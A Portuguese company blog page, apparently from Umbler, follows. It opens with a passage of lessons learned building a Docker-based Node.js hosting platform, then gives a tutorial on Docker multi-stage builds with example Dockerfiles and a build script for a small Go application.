Sim, foi um processo longo, às vezes demorado, mas que rendeu bons frutos, seja de nível técnico (com o incremento de conhecimento para a equipe), ou de negócio, pois foi necessário o entendimento de todos quanto a necessidade real dos usuários, e, claro, a moldagem das ideias para atender essas necessidades. Desafios que foram sendo resolvidos durante a caminhada, é possível destacar:

  • Isolamento: Sim, containers são isolados, mas para isolar o tráfego entre os serviços, como faz? Esse foi um dos pontos onde se investiu algum tempo para encontrar a melhor resposta.
  • Inovar de forma responsável: A cada três meses é lançada uma nova versão do Docker, atualiza-se o ambiente a cada três meses? Usa-se as features novas já de cara? Este também foi motivo para algumas horas de conversa.
  • Complexidade: Não é porque foi utilizada uma tecnologia base que o ambiente não seria complexo. Quanto mais features para a plataforma, maior a complexidade para se atender essa demanda.
  • Simplificar: Como simplificar então? Como deixar tudo fácil de ser entendido, e, principalmente, replicável?
  • Deploy: De que forma o usuário vai utilizar a plataforma, como deve ser o melhor fluxo para colocar uma aplicação no ar com Docker? Às vezes a resposta certa não é a óbvia 😉
  • Cobrança: Como quantificar o gasto de cada cliente, existe na “caixa” isso? Quanto cobrar, e mais importante, vamos cobrar?

Além de desafios, ficaram também diversos aprendizados, que não custa nada compartilhar, certo?

  • Pesquisa e Prototipação são fundamentais. Mesmo que tu saiba tudo na teoria, ás vezes um comportamento só é validado na prática, tentando fazer dar erro.
  • Perseverança é muito importante. Às vezes a solução mais fácil parecer ser a melhor, o que pode não se confirmar. Por isso é preciso cuidado, pois você estará fazendo algo não para você, e nem para seu colega, e sim para dezenas, centenas, milhares de pessoas. É nelas que você deve pensar.
  • Ouvir todos os interessados é fundamental. Seja seu cliente (aquele que já paga pelo serviço), seja seu usuário (aquele que apenas usa, mas não gasta), seja seu colega, seu chefe, e principalmente a comunidade, apenas ouça, processe, e aí sim pense em algo que faça sentido para todos.
  • Outro ponto interessante é separar o “que” precisa ser feito do “como” deve ser feito. Em alguns casos (muitos por sinal), quando recebemos um problema para resolver já saímos com a solução pronta, montada em nossa cabeça. Mas será que o problema é realmente o apresentado? Será que essa solução se encaixa realmente na resolução? Lembre-se: O que eu preciso fazer define como eu vou fazer, e não o contrário.
  • Admita, você não terá todas as respostas em uma única solução, isso é improvável. Mas você precisará estar aberto a isso, e, principalmente, você precisará saber lidar com isso.
  • Última, mas não menos importante dica: Entenda exatamente o que você está fazendo. Não apenas aceite e saia executando. Entenda! Isso fará o seu trabalho ter mais valor e você terá outra visão daquilo que está criando.

Esperamos que isso ajude vocês durante suas próprias jornadas. Para nós foi uma experiência bem divertida, além de enriquecedora, e é uma honra compartilhar com vocês, quer conhecer mais sobre o NodeJs na Umbler? Então acessa este link, tem tudo que você precisa saber 😉

Como sempre, se ficou com dúvidas ou quer entender melhor, nos avise, e nos ajude divulgando o blog \o/. Abraço!

Docker multi-stage builds

Oi Pessoal,

Tivemos diversas novidades com o lançamento das versões 17.05 e 17.06 do Docker, que ocorreram nos últimos meses, nosso objetivo é trazer para vocês algumas dessas novidades, iniciaremos com o multi-stage builds, ou em português claro: construção em múltiplos estágios, vamos entender um pouco mais sobre esse conceito, como utiliza-lo e onde ele pode te ajudar no dia-a-dia.

Antes de mais nada, gostaríamos de nos desculpar pelo hiato na publicação de posts, mas garantimos que foi por alguns bons motivos 😉

O que é?

O multi-stage build foi lançado na versão 17.05 e permite que um build possa ser reutilizado em diversas etapas da geração da imagem, deixando os Dockerfiles mais fáceis de ler e manter.

O estado da arte

Uma das coisas mais desafiadoras sobre a construção de imagens é manter o tamanho da imagem reduzido. Cada instrução no Dockerfile adiciona uma camada à imagem, e você precisa se lembrar de limpar todos os artefatos que não precisa antes de passar para a próxima camada. Para escrever um Dockerfile realmente eficiente, você tradicionalmente precisa empregar truques de shell e outra lógica para manter as camadas o mais pequenas possíveis e garantir que cada camada tenha os artefatos que ela precisa da camada anterior e nada mais.

Na verdade, era muito comum ter um Dockerfile para uso para o desenvolvimento (que continha tudo o que era necessário para construir sua aplicação), e outro para usar em produção, que só continha sua aplicação e exatamente o que era necessário para executá-la. Obviamente a manutenção de dois Dockerfiles não é o ideal.

Aqui está um exemplo de Dockerfile.build e Dockerfile exemplifica o caso acima:

Dockerfile.build:

FROM golang:1.7.3
WORKDIR /go/src/github.com/alexellis/href-counter/
RUN go get -d -v golang.org/x/net/html  
COPY app.go .
RUN go get -d -v golang.org/x/net/html \
  && CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

Observe que este exemplo também comprime artificialmente dois comandos RUN juntando-os com o parâmetro “&&” do bash, para evitar criar uma camada adicional na imagem. Isso é propenso a falhas e difícil de manter. É fácil inserir outro comando e esquecer de continuar a linha usando este parâmetro , por exemplo.

Dockerfile:

FROM alpine:latest  
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY app .
CMD ["./app"]  

Build.sh:

#!/bin/sh
echo "Building alexellis2/href-counter:build"

docker build --build-arg https_proxy=$https_proxy --build-arg http_proxy=$http_proxy \  
    -t alexellis2/href-counter:build . -f Dockerfile.build
docker create --name extract alexellis2/href-counter:build 
docker cp extract:/go/src/github.com/alexellis/href-counter/app ./app 
docker rm -f extract 

echo "Building alexellis2/href-counter:latest" docker build --no-cache -t alexellis2/href-counter:latest . 
rm ./app

Quando você executa o script build.sh, ele cria a primeira imagem com o artefato, a partir da qual cria-se um container que é utilizado para copiar o artefato, em seguida, ele cria a segunda imagem copiando o artefato para essa segunda imagem. Ambas as imagens ocupam espaço em seu sistema e você ainda tem o artefato em seu disco local também.

O que melhorou

Com o multi-stage, você usa várias instruções FROM no seu Dockerfile, cada instrução FROM pode usar uma base diferente, e cada uma delas começa um novo estágio da compilação. Você pode copiar artefatos de um estágio para outro, deixando para trás tudo que você não quer na imagem final. Para mostrar como isso funciona, vamos adaptar o Dockerfile anterior para usar multi-stage:

Dockerfile:

FROM golang:1.7.3
WORKDIR /go/src/github.com/alexellis/href-counter/
RUN go get -d -v golang.org/x/net/html  
COPY app.go .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

FROM alpine:latest  
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=0 /go/src/github.com/alexellis/href-counter/app .
CMD ["./app"]  

Você só precisa do único Dockerfile, além de não precisar de um script de compilação separado, basta buildar sua imagem docker:

$ docker build -t alexellis2/href-counter:latest .

O resultado final é a mesma pequena imagem de produção que antes, com uma redução significativa na complexidade. Você não precisa criar nenhuma imagem intermediária e você não precisa extrair nenhum artefato para o seu sistema local.

Como funciona? A segunda instrução FROM inicia um novo estágio de compilação com a imagem base sendo alpine. A instrução “COPY –from=0”  copia apenas o artefato construído do estágio anterior para esta nova imagem, o Go SDK e quaisquer artefatos intermediários são deixados para trás e não são salvos na imagem final.

Deixando mais claro

Por padrão, as etapas não são nomeadas, e você referencia elas por seu número inteiro, começando por 0 na primeira instrução FROM. No entanto, você pode nomear seus estágios, adicionando a instrução “as <nome>” na mesma linha do FROM. O exemplo abaixo deixa mais claro isso e melhora a forma como manipulamos nossos builds nomeando as etapas e usando o nome na instrução COPY. Isso significa que, mesmo que as instruções no seu Dockerfile sejam reordenadas, a cópia do artefado não será interrompida.

FROM golang:1.7.3 as builder
WORKDIR /go/src/github.com/alexellis/href-counter/
RUN go get -d -v golang.org/x/net/html  
COPY app.go    .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

FROM alpine:latest  
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=builder /go/src/github.com/alexellis/href-counter/app .
CMD ["./app"]  

 

Ficou fácil né? Essa feature auxilia ainda mais as equipes no momento de administrar seus builds, pois centraliza e deixa mais transparente cada passo na geração dos pacotes/artefatos de uma aplicação.

Gostaríamos de agradecer ao @alexellisuk pela contribuição a comunidade com os exemplos utilizados acima. Esperamos ter ajudado, e como sempre, se tiver dúvidas avisa ai que vamos te ajudar.

Grande abraço!

Aguarde...

Inscreva-se em nossa newsletter

E fique por dentro das novidades.